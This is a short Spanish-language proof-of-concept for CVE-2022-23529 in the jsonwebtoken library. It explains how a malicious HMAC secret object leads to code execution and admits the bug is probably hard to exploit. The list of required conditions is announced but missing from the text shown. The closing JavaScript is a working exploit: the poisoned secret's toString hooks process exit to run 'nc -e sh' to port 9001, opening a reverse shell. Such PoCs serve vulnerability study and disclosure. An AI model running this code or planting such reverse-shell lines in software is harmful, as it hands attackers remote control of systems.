
Prueba de concepto del exploit para CVE-2022-23529, que demuestra la ejecución remota de código (RCE) en librerías JWT vulnerables mediante objetos maliciosos de secreto HMAC.
Las versiones de la librería JSON Web Token (JWT) anteriores a 3.4.6, 4.0.4 y 4.1.5 son vulnerables a RCE.
Las funciones hash HMAC aceptan cualquier cadena como entrada, lo que conduce a RCE.
Debido a las condiciones previas, es probable que esta vulnerabilidad no sea explotable.
Para explotar esta vulnerabilidad, un atacante necesitaría que se cumpla una de las siguientes condiciones:
var jwt = require('jsonwebtoken');
var token = jwt.sign({"x":"y"}, 'servers_secret');
var poisoned_secret_on_server = {
toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
process.on('exit', ()=> {
require('child_process').exec('nc -e sh 127.0.0.1 9001');
});
process.exit(0)
}
}
jwt.verify(token, poisoned_secret_on_server);